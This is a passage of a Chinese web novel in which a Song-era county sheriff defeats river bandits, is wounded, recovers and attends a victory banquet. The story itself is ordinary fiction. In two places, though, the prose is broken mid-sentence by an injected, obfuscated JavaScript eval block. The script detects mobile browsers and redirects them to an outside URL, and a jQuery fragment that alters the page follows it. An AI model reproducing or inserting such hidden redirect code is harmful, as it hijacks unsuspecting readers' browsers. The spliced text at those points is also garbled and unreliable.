宋准顾不得河水冰冷刺骨,三两步蹚着水上了那艘船,接过弓兵递来的一块锦帕,上面写着“十月□□霜降夜,涞水葫芦湾□□战。彭十八。” 锦帕上的字迹十分潦草,有几个字模糊不清无法辨认,但时间和地点却是清晰的,霜降夜,那不就是今晚吗? 宋准出了船舱站到甲板上,看着不远处的葫芦湾和脚下的沉船,分明就是匪徒凿船做局,引诱官府深入。但若错过这次,兴许很长一段时间里都很难再有这样的机会…… 不知不觉,他已经攥紧了手中的锦帕,仿佛要将那块布碾成齑粉。 “宋县尉!”有人在岸上高声唤他,回头看去,是令狐朝,他挥着手臂,喊道,“尸体让人搬回衙门,需要做复检再叫我就是。我先回医馆了!” “令狐兄先别急,可否上船来看看有没有什么线索?” 令狐朝闻言,歪着头打量了一下船到岸边的位置,犹豫要不要下水,宋准已经从船上跳下来,走到他面前要背起他上船去。 “哎哎哎!我还没答应要去呢!”令狐朝脚下一个腾空,被宋准直接扛起,怕自己掉下去,只得牢牢扒住宋准的腰,直到宋准把他放在甲板上。 “令狐兄,就当是帮帮我,今晚免不了一场大战,你还是看看这船舱里有没有什么异常的东西,万一能用上呢。”宋准言辞恳切,他便也不忍心再拒绝了,于是站起身拍拍屁股进了船舱里。 看来看去也没看出哪里不对,也就发现这是个运生漆的船,船上的生漆都已经被洗劫一空,除了在搬运过程中撒在货舱里外的,一桶整的都没有。 令狐朝站在宋准身边说:“没什么有价值的东西,足迹都乱七八糟的,喷溅的血迹多半是那些船工的,至于船上的其他人,可能都已经被劫持了。” 见宋准没应,他又说:“今晚与水匪恶战,定然格外凶险,你拿着这个,若受了伤,这药可暂时护住心脉,不至于伤重难医。放心,量足够你们每个人的。” 一个小瓷瓶被他放在宋准手心里,他将宋准的手握住,眼神很是坚定:“别太担心,以你的能力,剿灭那些水匪绰绰有余,若是遇到险境,多动动脑子。” “嗯。我会的,多谢令狐兄。”宋准点了点头,又再看了一眼歪斜的船,跳下甲板举起手,“令狐兄,我扛你回岸上去。” 令狐朝摆摆手说:“哪就要你扛了,我自己不能过去吗?” “你身子弱,这水格外凉,还是不要碰比较好。反正我已经下过水了,你就别推辞了,来吧。” 他还是没拗过宋准,由着他把自己扛回岸上,正了正衣冠,背上药箱准备回城去了。 宋准集合起剩下的人往渡口去,那里有他们之前研究改造了许久的蜈蚣船,船身更窄,船桨更多,能够在河道中穿行自如,速度也比普通的船快上三四成,十分合适水战。 城中的布防不能短缺,能够调动的兵力也就三十余人,宋准将他们一并唤来,仔细商量了夜里的作战计划,水匪留下的的战书里并未约定时辰,他们既然想要引诱官府深入,那不如便将计就计遂了他们的愿。 天刚擦黑,宋准便和三十多弓兵乘蜈蚣船往鬼见愁河滩去,一路上,众人都睁大了眼睛,竖起了耳朵,十分警惕地观察着周围的情况,葫芦湾两侧的绝壁上隐有火光,想来是匪徒早已在上面埋伏了。 “二郎,用神臂弓,往山崖上放几箭。”宋准说。 李二郎领命,放下船桨拿起神臂弓,将箭架上,瞄准了远处的火光,箭矢破空而出,随后便听见了一声人的惨叫。 “二郎好箭法。”宋准赞了他一句,回头又说,“减些速,别往前冲那么快,小心水里有东西。” “是!” 弓兵们应声的话音刚落,宋准所乘的前锋船就撞上了什么东西,船身开始倾斜。 “县尉,是竹排!有人在水中挡了竹排!”前头的一名弓兵叫道,宋准看过去,河道中央卡着几个竹排,船已经如触礁般开始下沉。 “县尉小心!”李二郎大喊一声挡在宋准身侧,一个燃烧着的火油罐从旁边的芦苇丛中扔出来,正砸在了李二郎身上,好在有甲胄阻隔,身上才没有燃起来,但火油罐掉在木船上,火势立刻便起来了。 宋准拉着李二郎跳下船,挥手指挥船上几个弓兵也弃船下水,游向旁边的副船。 这时候,山崖上乱箭如骤雨般射出,举盾不及,好几人都受了伤,无数火油罐也被投下,扔到船上,顿时燃起熊熊烈火。 “弃船上岸!”宋准大喊着指挥已经跳进水里的众人,只有一条队伍最后的船还幸存,宋准又喊道:“先往后撤!这里没法强攻!” 直到退至一处鹰嘴岩后,才暂时缓了口气,点了点人数,三十弓兵只余十九人。 “二郎?李二郎呢?”没有看见最相熟的脸,宋准心下暗道一声不妙,作势要回河里去寻,被其余弓兵拦下了。 “县尉,去不得啊!山匪居高临下,但凡一露出行踪,一定会被集火的!” 宋准攥紧了拳头,十分气愤,十一人下落不明,好在也大概摸清了山匪的人数,山崖上的和藏在芦苇丛里的,按照方才放箭的速度和数量,不过也就三四十人,并不难解决。 此时温度骤降,众人从水里出来,都冻得瑟瑟发抖,宋准环顾四周,正看到不远处的一个山洞,便说:“走,先去那山洞里避避风。” “县尉,大牛中了箭,有些挺不住了!”一位弓兵的语气焦急,他抱着气息奄奄的大牛,手上染了不少血。 宋准过去看了看,从怀中拿出令狐朝给的药,倒出来给他喂了一粒下去,说:“令狐先生给的药,暂时能护住心脉,你把他看好了,不要叫他乱动。” “是!都听县尉的。” “你们几个,去附近捡些柴火,在山洞里生堆火来,把身上衣裳都烤干。你们几个,随我去下游的渡口看看,渡口有我们的人,叫些援兵来。” 宋准带着几个人远远地顺着河去下游,避开了山匪可能埋伏的位置,安全抵达了渡口,青雀和其他几个鬼樊的人正忙着从河里捞人上来,看穿着,正是那些弓兵! “青雀!”宋准低声喊了句,青雀回过头来,看见他过来,忙迎了上去。 “县尉,我们从河里捞出来七八个弓兵,你们那边情况怎么样了?需不需要叫楼主来帮忙?” 宋准跟着他去看了那些被捞起来的人,有些还清醒着,有些却已经昏迷,鬼樊的人给他们喂了药,应该不会有大碍,可看了一圈都没瞧见李二郎的人影。 “李二郎呢?你们可有见到他?”宋准问那几个清醒着的弓兵。 那几个弓兵都有些茫然,许是刚从生死边缘逃回来,还有些后怕,环顾了四周,只是茫然地摇摇头。 “青雀,你帮我找找李二郎,你见过他的,就是那个弓兵长,方脸,大眼睛,皮肤黑黑的,和我差不多高。”宋准的心里已经有极其不好的预感,可无论如何,生要见人死要见尸,总该找到他。 青雀点了点头,说:“好,县尉放心,若是掉进河里不见的,那下游定是能截到的,今夜恶战在所难免,县尉还是带几个我们的人去吧。” 宋准思索了片刻,摆摆手说:“还是算了,到时不好和上面解释。他们就拜托你了,暂时先不要告诉你们楼主和晦言前辈,天亮之前,我一定会带着匪首回来!” “好,那县尉小心。” 宋准带人原路返回,到了鹰嘴岩后的山洞里,火已经生起来了,算了算还能再战的弓兵,十七人,十七对四五十,有些难,但一定有什么办法能用上。 他啃着一块烤得微热的糍粑,看着山洞顶上缠绕的藤蔓,被火光一照,像蛇影盘着,错落其中,和火一起跳跃。 “宋惟衡啊宋惟衡,快想想办法啊!”他在心里念叨着,死死盯着面前那张被水泡皱了的地形图,脑子里回忆着柳晏平日里说的那些他从前出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15815371|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任务时用过的损招儿,件件都需要以少胜多,还有历史上,以少胜多的例子还少么? 正想着,山洞外响起了雨声,这冬月里下的都是冻雨,落在身上冰冷刺骨,雨声中,似乎还有不断接近的脚步声! “什么人!”宋准拿剑起身冲到洞口,微弱的火光照亮了那人的脸,是青雀的一个部下,叫白鹤的,他挡住了宋准的一剑,说道:“县尉,那个匪首彭十八,集结了众多流寇,正在四处寻找你们的踪迹,青雀前辈让我来帮帮忙,把伤员带走。” 宋准收起剑,回头看了看大牛和另一个被流矢射中肩膀的弓兵,叹口气说:“好,你便带他们走吧。对了,李二郎找到了吗?” “找到了,就是受了重伤,又呛了水,恐一时半刻的醒不来。” 闻言,宋准终于长出一口气:“那就好,那就好。你快带他们走,这一局,我已经有了破解之法。” 雨声里,山下传出凄厉的唢呐声,听得人毛骨悚然,李二郎从前说过,这是湘匪惯用的惊魂咒,专攻人心智,若是心下不坚定,很容易就被吓破胆。 宋准让人拆弓弦为锯,砍青竹若干,制成响箭;又在方才伤兵的甲胄里装上石块,坠在了西边的矮崖之下;遣善水者偷偷前往白天的沉船出点燃船上的残漆,火光冲天,照亮了方圆数十步。 亥时三刻山风起,西崖上的填石甲胄与山壁碰撞,铿然作响,宋准带上十七名弓手藏在葫芦湾附近的芦苇丛里,吹响牛角号,十七发响箭破空而出,在空谷之中回响,宛若千军至。 在葫芦湾埋伏的山匪以为官府援兵已至,立刻自乱了阵脚,四处横冲直撞不知逃向何处,但湾口他们自己放的竹排已经和商队沉船一起燃成一片,只能被堵在湾中不得出。 宋准在后面观察着,不远处有一艘镶铜头的船,一直隐匿在芦苇丛中,船头站着一个人,直觉告诉他,那便是匪首的所在。 “叠云梯把我送过去,后面那条船,看到了吗?”宋准说,身侧的三名弓兵会意,立刻搭起人梯——从前李二郎教的方法,用这种方式人可跃起几丈高,他们也都演练过无数次,能够确保万无一失。 宋准在人梯借力下腾空而起,看准了船头那人,扔出一枚带着毒的暗器,正中那人面门,他也落在船头上,拔剑与周围山匪打起来。 其他的弓兵也都纷纷借云梯跃起,落在山匪的船上与他们打斗,之前柳晏教的那些刁钻的杀招全都不遗余力地用上,不过三两下就干掉了大半匪徒。 宋准在与彭十八搏斗,因为想要带活口回去,不得不收着几分力,那彭十八长相就十分凶神恶煞,脸上还有一道从右眼角斜至上唇的刀疤,手上武功也了得,明明方才中了暗器的毒,却还和宋准打得有来有回。 直到宋准再次找机会扔出一枚暗镖,打中彭十八的手腕,他的刀脱了手,瞬间被宋准擒住。 两个弓兵这时赶了过来,将后面想要上来突袭宋准的一个山匪打落下船,用绳子牢牢将彭十八捆住,点火把高喊匪首伏诛,此时那暗器的毒性也发作了,他开始失力,倒在了甲板上。 宋准左臂在打斗中被刀砍伤,血顺流而下,自指尖滴落,他擦了擦脸上的血,站在船头高声喊道:“龙虎帮匪首彭十八已然伏诛,尔等现在投降,还有减刑余地!” 与弓兵打斗着的匪徒听见彭十八已死,纷纷回首望去,在他们愣神的当下,弓兵看准机会,将其生擒。 “县尉,您这伤……”身侧的弓兵提醒道,宋准低头看了一眼,笑着说了声没事,从怀里掏出令狐朝给的药递给他,说:“受了伤的一人都吃一粒下去,把这些人都带回去,押入牢里!” “是!” 将生擒的匪徒全部带上岸去,用绳子捆住双手,算上彭十八,共七人,又叫人去数了伏诛的匪徒,水里的,船上的,共五十八人。 宋准顾不得身上的伤,带着人把匪徒带回城中,还没走到城门口,就看见城门有火光,等走近了,柳晏和青雀、白兔的脸便清晰了起来。 68.滩匪永绝 “惟…宋县尉!”柳晏扑了上来到宋准面前,一眼便瞧见了他左臂上的伤,“这是怎么回事儿!你这伤,怎么还在流血?” 宋准笑了笑,说:“无妨,我学艺不精,没学全了你的本事。不过,匪首抓到了,这一窝子山匪都除掉了,从今往后,那片浅滩再不是鬼见愁了。” “瞧你,什么时候了还说这些,快回城去,我都听青雀说了,你放心,他是渡口茶摊的老板,夜里听见呼救,便顺手救了人。” 他眨了眨眼,青雀也在一侧点点头,他又说:“晦言在医馆照顾那些伤兵,暂时抽不开身,你让人把这些山匪带回去,也去找他看看你的伤。” “无妨,我不放心县牢那边,还是亲自看着比较好,你会包扎的吧,帮我先止住血就好。” “会是会,唉,罢了,我与你同去吧。”柳晏在身侧搀扶住他,随他一同去了县牢。 彭十八所中的毒是令狐朝制的,不会让人死,只是会重度昏迷一段时间,他现在人事不省,被关进县牢最里面的的牢房里。 那间牢房是关押重刑犯的,三面墙都用金石加固过,靠外侧的一面栅栏也是用带尖刺的铁线缠绕,还有专门的狱卒看守,绝不会有逃跑的可能。 其余的六个山匪都被分开关押,有刑官去挨个拷问,宋准亲眼看着他们被镣铐锁住,被关进牢房,紧绷着的神经才终于松懈下来,长出一口气。这才感觉到左臂的刀伤越来越疼,不自觉攥紧了拳头。 “惟衡,随我去找晦言吧,你脸色很不好,再这样下去失血过多会晕过去的。”柳晏扶着他,能明显觉出他的步子渐渐虚浮,有些控制不住似的往自己身上靠。 他点了点头,没说话,柳晏便直接将他背在了背上,一路往医馆去。 此时东方的天空渐渐现出鱼肚白,宋准的气息渐渐微弱下去,柳晏一边跑着一边大声喊着他的名字:“惟衡!宋惟衡!宋准!你别睡啊!马上到医馆了,醒醒!别死了!” “没睡……还活着,就是……感觉……有点累……”宋准的声音很小,有气无力地趴在他后背上。 宋准的身量对他来说还是有些重了,他的步子有些踉跄,听到宋准的声音,将他往上掂了掂,说:“宋惟衡,累也不准睡!马上就到医馆了,你要是敢睡,看我今后练不死你!” “嗯……”他依旧有气无力地答应着,右手在柳晏胸前轻轻拍了拍,告诉他自己还醒着,可在他看不见的地方,柳晏的脸上却已经挂满了泪水。 “晦言!晦言!”一冲进医馆大门,柳晏便大喊着,“快看看惟衡的伤!他流了好多血!” 令狐朝配药的手一顿,立刻放下了手上的东西飞奔过来,看到柳晏满脸的泪水和他背上气息奄奄的宋准,心下一惊,道:“把他放到诊榻上去,跟我来。” 柳晏把他放在了诊榻上,让他在上面躺下,又和令狐朝一起把他身上的甲胄解了下来,这才发现他不光是左臂受了伤,腰侧不知什么时候也被刺了一剑,难怪失血会这么严重。 “稚言,把他衣裳全脱了,去找许大夫要床被子来。”令狐朝吩咐道。 “好。”柳晏答应着,手上却不住地颤抖,“晦言,惟衡他不会有事吧?我……我不应该随着他去牢里一趟的,我应该在他回来的时候就让他来找你的……” “没事,别怕。他服过救急丹,不会有大事,昨晚和那些山匪战了一夜,他也确实累了。只是睡着了而已,别担心,有我在。” 柳晏擦了擦眼泪,拿着宋准沾满血的衣裳出去,找许大夫要了被子,抱回来放在一旁的凳子上,令狐朝正在替宋准清理伤口,擦身上的血。 他左臂上的刀伤深可见骨,令狐朝用黄酒清洗过后,以白及粉和三七捣碎止血,又用干净的纱布包扎起来,两侧用竹片固定,防止活动时伤口撕裂。 腰侧被剑刺到的伤出了很多血,但好在并不深,用过止血药再包扎过后,他的面色渐渐没那么苍白了,呼吸也平稳了下来。 柳晏一直守在他身边,一夜未合眼,却不敢睡下,担心他出什么状况,便一直用薄荷脑吊着精神。 直到天光大亮,宋准才睁开眼,稍微动了一下身上伤口就疼得厉害,没忍住咳了一声,在榻边打盹儿的柳晏瞬间被惊醒,关切地问道:“怎么了?哪里不舒服吗?” “疼……”他嗓子哑着,半天说了几个字,“有点儿……渴。” “我去给你倒水!别急!”柳晏跑了出去找令狐朝,说宋准转醒了,又要了杯子去倒水,令狐朝却拦住他说让宋准先把药喝了,他又接过药来端进诊室里去。 “惟衡,晦言说让你先把药喝了,反正都是水了,凑合凑合吧。”柳晏在他背后垫了几个软垫,把他搀扶着坐起,端起药吹凉了喂给他。 令狐朝又拿着些东西进来,坐在榻角说:“感觉怎么样了?” 宋准咽下一口药汤,被苦得呲牙咧嘴:“令狐兄,你……有没有果脯啊,好苦。” “有。喏,专门给你做的。”他递上那一小包,原来正是一包果脯。 “令狐兄,李二郎他们怎么样了?我能不能去看看他们?” “放心,都没什么大事,无非是受了伤,和你差不多,有我和许大夫在,不会有问题的。你自己安心待着,稚言盯了你一早上,瞧这眼下乌青,下巴胡茬都长出来了。惟衡醒了,你也去休息休息吧。” “那你呢?你不也忙了一夜?” “我没事儿,熬夜惯了的,医馆走不开。” 柳晏摇了摇头,继续给宋准喂着药,说:“那我也要留下,你去照顾他们,我照顾惟衡,要我帮忙的地方你尽管说就是了,你是怕我不愿意吗?” “行,你要留下就留下,真是犟不过你,跟头驴似的。”令狐朝起身到榻边搭上宋准的脉,说,“惟衡,你这脉怎么不太对劲啊?” “啊?怎么了?”宋准有些疑惑,柳晏却直接警惕了起来:“什么?哪里不对劲?你别让他死了啊快救他!” “不是,你是不是沾到那暗器里的毒了?” 宋准眯着眼回忆了一下,当时在船上与彭十八打斗,扔出的那个盛装毒药的暗器,在炸开的时候似乎是被自己吸进去了一点,当时只觉得有些呛,咳了两声没在意。 “仿佛是吸进去了一点儿,怎么了,要紧吗?”他说。 令狐朝松了口气似的,道:“吓死我了,还好是自己的东西,没事儿,把这个吃了。”说着他就掏出粒丸药来塞进了宋准嘴里,还没反应过来就咽下去了。 “令狐兄,我还是想去看看弓兵们的情况,能不能扶我去啊。” “待着吧你,你才刚醒过来,至少等气儿喘匀了再去吧。县令已经写了文书去州府和枢密院了,牢里的那些匪徒也有人在审,你的那些弟兄有我看着,你还有什么不放心的?” 柳晏也附和道:“是啊惟衡,你难道想今后也像我和晦言一样一到阴雨天就浑身疼吗?从前我们那是没办法,你如今有这样的条件,应该好好养伤才对。” “唉,那好吧。”宋准有些不甘地叹了口气,接过柳晏手上的药一饮而尽,又拿起一块果脯含在嘴里,皱紧了眉头。 一直到了下午,令狐朝才终于允许他下床走动,他便立刻跑去看了李二郎他们,在医馆后面的两间屋子里,躺着十几个受伤的弓兵,清醒的在一间,还昏迷着的在另一间,李二郎就在那间屋子的门口,眼睛还闭着。 宋准走近了他身边,他额上包着纱布,额角处已经被血和药汁染成褐色,令狐朝说,大概是在水里撞到了石头,所以现在还没能醒过来。 二牛在他身边,呼吸平稳,他受的伤最重,好在也已经救回来了,就等他们什么时候能过醒过来。 受伤弓兵的家人都来探望过,碍着家中都有活计,许多也都回去了。 在外面院子里坐着一个老太太和一个妇人,带着个孩子,那孩子和李二郎长得很像,宋准心下一惊,便猜到这是李二郎的家人,于是走上前去和他们说话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827090|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“几位可是李二郎的家人?”他问道。 那妇人正落泪,见有人问话,立刻将眼泪擦干了起身回话:“是。民妇见过县尉,这是我婆婆和孩子,来照看二郎的。” “可进去看过他了?先生说已经无大碍,只要等他们醒过来就是,此次二郎剿匪有大功,该高兴才是。” 这时宋准注意到旁边的老太太眼神有些空洞,似乎是目盲的,想起李二郎平日里似乎很少提及自己有个目盲的母亲,只说他母亲将他拉扯长大十分不易,而他也是个远近闻名的孝子。 老太太突然说道:“露娘,是县尉来了吗?老身见过县尉。”说着她便要起身行礼,被宋准拦下了。 “大娘,快请起,不必多礼。”宋准又转身对露娘说,“嫂嫂,二郎年长我几岁,我便称您嫂嫂吧,你们怎么在外面守着不进屋里去?仔细风大吹伤了身子。” 露娘牵过孩子的手道:“孩子淘气,怕扰了伤兵们静养,我和娘又放心不下,便在这儿看着,若是他醒了,也能第一时间看见我们。” “县尉,县尉,我儿剿匪可英勇啊?”李二郎的母亲突然问道,这一句话却惹得宋准喉头一紧,有些说不出话来,用力点点头,却意识到她看不见,便说:“二郎十分英勇,若不是他,恐怕我如今都没法站在这儿和您说话了。” “好,好啊,他爹在天之灵可以看见,儿子成器立功了!” “奶奶,我今后也要和爹爹一样英勇,和县尉大人一起去上阵杀敌!”小孩子充满稚气的声音在露娘身侧响起,逗得露娘破涕为笑:“傻孩子,瞎说什么呢。” 宋准弯下腰问他:“上阵杀敌可是会受伤的,你也不怕?” “爹爹都不怕,我自然也不怕!我要比爹爹还英勇,我要当大将军!” “好,那你今后就当大将军。”宋准揉揉他的脑袋,起身说,“大娘,嫂嫂,随我去前面屋子里坐着吧,二郎醒了先生会来叫你们的。” “这……这怎么好意思呢。”露娘推脱着,有些勉强地笑笑。 宋准看出她的为难,便说:“无妨,医馆的先生是我的好友,他心善,不会说什么的,二郎为保护我受伤,我怎么能让他的家人在寒风里冻着?还是随我来吧。” 好说歹说可算是将她们劝去了屋子里,宋准又送了些吃食过去,让她们安心等着,自己则回了衙门一趟,去见了县令。 县令也忙了一日,审犯人,写文书,不过他也忙得心甘情愿,宋准剿灭了龙虎帮,还生擒了匪首彭十八,他能沾不少光,说不定能升官呢。 于是宋准去见他时,他一副喜出望外红光满面的模样,见宋准过来,连忙迎上去说:“哎呀,宋县尉,你如今可是咱们攸县乃至潭州的大功臣啊!我已经将文书送上去,将你的功绩都写上去了,你便等着上面的奖赏吧!” “多谢县令替我美言。我来是想问问那彭十八审得如何了,我心下有个疑问,劳烦县令替我去问问。” “嗯?但说无妨。” “山中的那个水潭,不知与他们是否有关,还有瑶寨的人被掳走,是不是他们这伙贼人干的,若是他们,便可叫人去那水潭里将里面的人都抓出来了。” 县令捋着胡子点点头:“好,你放心,我会差人去审。我听令狐先生说你身上伤重,本不必来跑这一趟的,还是快回去养伤吧,若是衙门这边有什么事儿,我自会差人去找你。” “好,多谢县令。那我便先回医馆了。”宋准行过礼,便出了衙门,柳晏正在门口等着他。 “怎么样?这下大可放心了吧?快跟我回去,瞧着你都害怕,将来阴雨天身上疼,可别怪我没提醒你。” 宋准扶住他的肩膀,笑笑说:“放心了,我自然不会怪你,连谢谢你都来不及,帮我找到了金刚伞,昨日又救了我一命,一夜没睡还愿意陪着我到处走,你这恩情我一时半会儿还还不完了。” “嘁,知道就好。”他一脸得意的模样,手上却十分小心地扶着宋准,往医馆去。 69.迷藏庆功宴 冬月底,攸县难得地下了场小雪,随着雪一同来的,还有州府和枢密院的嘉奖文书。 宋准生擒了彭十八,捣毁龙虎帮,水潭下的山洞也派人带着金刚伞前去探过,里面是山匪的地牢,因为与外界隔绝,里面的人还不知道他们的老大已经被抓了,见到有人上来还以为是自己人来送补给,并未以刀剑相杀。 这正给了官兵机会,将地牢中的山匪一并活捉,牢中关押的瑶寨众人和一些山民都被解救出来,还在地牢最里面找到了奄奄一息的阿贵。 审问过山匪和阿贵后,宋准又知道了一件不为人知的往事。 原来那阿贵原本是个孤儿,和他的姐姐相依为命,吃瑶寨的百家饭长大,但他姐姐年岁渐长,出落得越发美丽,就被寨中的长老盯上了。 长老为满足一己私欲,强行娶了他姐姐,他与众多寨民一样因为恐惧不敢和长老抗衡,长老为了堵住悠悠之口,便安排他可以干下山采买的活儿,这活儿平常只有特定的人能去做,有油水,又能与外界接触,阿贵便也趁机和山匪交接了消息,让山匪抢了瑶寨。 但他没有想到山匪并不是好糊弄的,无论出于什么原因出卖了自己的族人,他都会被打作卖主求荣的奸人,于是即使他给山匪传递了攸县的城防,也得不到他们的信任。 问出这件事后,宋准一度很郁闷,他不知道应该如何给他们量刑,虽然他也没有那个权力。强抢民女这件事若是报官,长老至少会被判流放,而阿贵却选择勾结山匪,抢空整个瑶寨,这样一来,他的罪名也不会小。 宋准问过阿贵可曾后悔,阿贵却说:“死也不悔。您不知道瑶寨里的人都是如何野蛮,伤了他们根本,今后也为您少个麻烦。只是我对不起您和令狐先生,您二位对我的恩情,阿贵谨记在心,今生不能报的,来生做牛做马也要报。” 潭州知府赏了宋准一块亲书匾额,八十贯钱,枢密院的监司也很赏识他,着人送了些文房四宝给他以作嘉奖,攸县人人都知道宋县尉剿匪大功,许多孩子玩耍时也要扮作宋县尉,演县尉剿匪的游戏。 受伤昏迷的弓兵也都陆续转醒了,李二郎的伤已经好全,可以暂代宋准带兵巡逻。 县令也真的沾到了宋准的光,升迁文书已至,待明年任期满后就可升为益州通判,乐得他给攸县减了两成赋税,又要在酒楼给宋准办一场庆功宴。 宋准原本想拒绝的,耐不住县令“威逼利诱”他,最后还是同意去了。 除了他之外,城中有些势力的商人和世家旁支也都受邀前往,柳晏自然也在其中,令狐朝和许大夫作为救人有方的医师也受邀了,只是许大夫年纪大了,不喜欢热闹,也不能饮酒,便推脱掉了。 宴席上,宋准心里觉得尴尬,只规规矩矩地坐在县令身边,让他干什么他便干什么,抽空望着坐在对面的令狐朝和柳晏,柳晏一看见他在看自己,就做个鬼脸出来,逗得他想笑又不敢笑,只好低头吃菜。 忽然,豪强周氏的家主突然状似不经意间问道:“听闻,昨夜那彭十八的压寨夫人在狱中吊死了?” 一石激起千层浪,原本还算安静的宴席瞬间就喧闹起来,众人顿时议论纷纷,宋准的手在桌下,紧紧攥住了今晨柳晏送来的密报——那压寨夫人,是周氏的私盐线人。 县令放下酒杯说:“周员外所说确有其事,不过我等已经查过,她是畏罪自裁,并不是什么大事,我也将此事上报给了州府,大家不必为此大惊小怪。” 这个小插曲就这么过去,周氏家主也没再说什么,宴席也就这么结束了,宋准和令狐朝柳晏一同回家,路上他一直沉默不语,看着脚下的石砖。 柳晏同令狐朝撒娇的声音似乎离他很远,天边的惊鸟声荡在山间,月光如水,脸被冷风吹得发凉,却像感受不到一般。 “惟衡?惟衡?”柳晏在叫他,“想什么呢?是为那个豪强说的话?” 宋准愣了一下,才反应过来:“啊?嗯。” “怎么了?县令不是说了这不是什么大事儿吗?怎么还这样烦恼?” “你早上给我的那封密报,你可看过?那个压寨夫人是周氏的私盐线人,令狐兄不是也验过了,她并非自缢,而是被人掐死的。那周氏家主这么问,分明是在挑衅。” 令狐朝伸手在他后背上拍拍,说:“别想那么多,他挑衅让他挑衅好了,你会因为他挑衅就拿他没办法了吗?且让他嚣张一阵子吧,欲使其灭亡,先让其疯狂。” “可是……” “别可是了,外面多冷啊,快回家去烤火。稚言出来之前在火炉里放了几个红薯,回去正好可以吃。快走快走!” 这年的最后一个月也平静地过了。快要过年了,家家户户都喜气洋洋的,挂红灯笼,贴对联,令狐朝的一手好字让许多人都来求他写春联,一天不知道写了多少副,回来累得手都僵了,但他却乐在其中。 年三十夜,大家围在一起守岁,柳晏把他在城里安插的鬼樊的人都一起叫来了,不算白兔和青雀,还有另外五个,宋准一个也没见过。 柳晏挨个给宋准介绍一遍,白鹤、赤鸦、灰鹭、雪豹、小狼。宋准看着那一张张美得各有千秋的脸,只尴尬地笑笑。 “诶,稚言,为什么他们的代号都是鸟兽,唯你和令狐兄不一样?”宋准突然问道。 柳晏眯起眼睛,有些神秘地说:“你真想知道?” 宋准点了点头,还不等柳晏开口,令狐朝就凑过来说:“和我们一辈的都死了,自然只有我们俩不一样喽。” “啊?”宋准有些惊讶,“不会还是被你们俩亲手刀掉的吧?” 他们俩一起笑着点了点头。 “哈哈……”宋准干笑两声,在心里嘀咕道:真是两个危险的人物,还好已经从良了,否则自己说不定也会在哪天无声无息地消失掉。 “你不会是在害怕我们俩刀掉你吧?”令狐朝问他,脸上露出了个奇怪的似笑非笑的表情。 “没有没有没有,怎么会呢,就算你们要刀掉我,那肯定也是我有错在先,你们惩恶扬善的,对吧?” 柳晏把脸凑到他面前,笑眯眯地点点头:“嗯,惩恶扬善。不过,恶人杀人可是没有理由的,你……” “好了稚言,别吓他。”令狐朝伸手把柳晏的脸推远,又把宋准拉到榻上坐下问,“惟衡,从前你在家是怎么过年的?” 宋准思索了一阵儿,说:“从前在家……母亲会带着我们一起下厨做菜,我和兄长姊妹们大多在边上捣乱了,然后一起守岁,等到初一早上换上新衣裳去逛庙会。差不多就这样了。” “我们在西凉的时候也有趣儿,外面下大雪,我们便在雪里打架,帐里烤着羊,有一年稚言被埋到雪里了,我挖了半天才把他挖出来哈哈哈哈……” 柳晏听到这儿,跪坐起身瞪着眼大叫:“晦言!你怎么能这么揭我的短?!” “这怎么是揭你的短呢?你这不挺可爱的吗?”令狐朝手放在他脑袋上把他摁了下去,“不过既然说到这个了,我记得当时把你埋在雪里的,是那个叫洛言的?” “嗯。我觉得他就没想让我再活着出来,真是往死里打我啊,还好,最后也只是手下败将而已。” 令狐朝捻起一撮茶叶放进茶壶里,没再回应柳晏的话,炭炉里的炭火被烧得噼啪作响,他面前的茶汤也滚了,外面又在飘雪,细小的雪粒,落在地上便化了。 宋准出了门,看着院子里那棵枇杷树,令狐朝方才那一问,却叫他有些想家了。前些日子母亲来了家书,说家中一切都好,家业不大,她打理起来倒也轻松,又问他何时得空归家一趟。 想到这儿,他叹了口气,那年他们举家从扬州迁居到绍兴的舅舅家暂住,受了不少他们家的白眼,他那时候虽然也就十岁,但也能看懂听懂大人脸上的不耐和语气里的嫌弃。 于是,母亲卖掉了她的一部分嫁妆,带着他和弟弟妹妹搬了出去,卫诚以住得近些方便教导宋准为由,替他们在临安寻 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“嗯。”宋准点着头,他的声音哽咽,“自古忠孝难两全,从前在临安时离家近些,我想着该多建功立业,便已经鲜少回家,如今相隔千里,想回家……却也难。” “你弟弟妹妹今年都多大年纪了?叫什么名儿?” “都该十九了。他们是双生子,弟弟叫宋徴,妹妹叫宋瑾。唉,我这个做哥哥的实在是……” 令狐朝笑了笑:“你们家兄弟姊妹的名字都起得不错。稚言来攸县的时候不是在临安还留了些人吗,要不叫他们替你回家看看,你也好放心。” “可以吗?”宋准转过脸,很欣喜地问。 令狐朝点点头,探头进屋把柳晏叫了出来,跟他说:“你让留在临安的几个人替惟衡回他家看看,能办到吗?” “诶?当然能办到了,惟衡你怎么不早说?你若有什么想带回家里的东西,我也叫人给你捎去就是。” 宋准激动地只会点头了,擦干了泪水,立刻便回房收拾起了东西,令狐朝和柳晏都跟了上去,在他房里坐着等他收拾完。 直到他收起一个不小的包袱,有些不好意思地递给柳晏:“嗯……会不会多了些?” “不多不多,给家里的东西哪里会多呢。”柳晏伸手接过,拍拍包袱问,“家书呢?家书写了吗?” “啊!差点忘了!那日收到来信的时候就写好了,放在……”他说着,去书案上寻了半天,最后在几本书下找到了,厚厚的一叠。 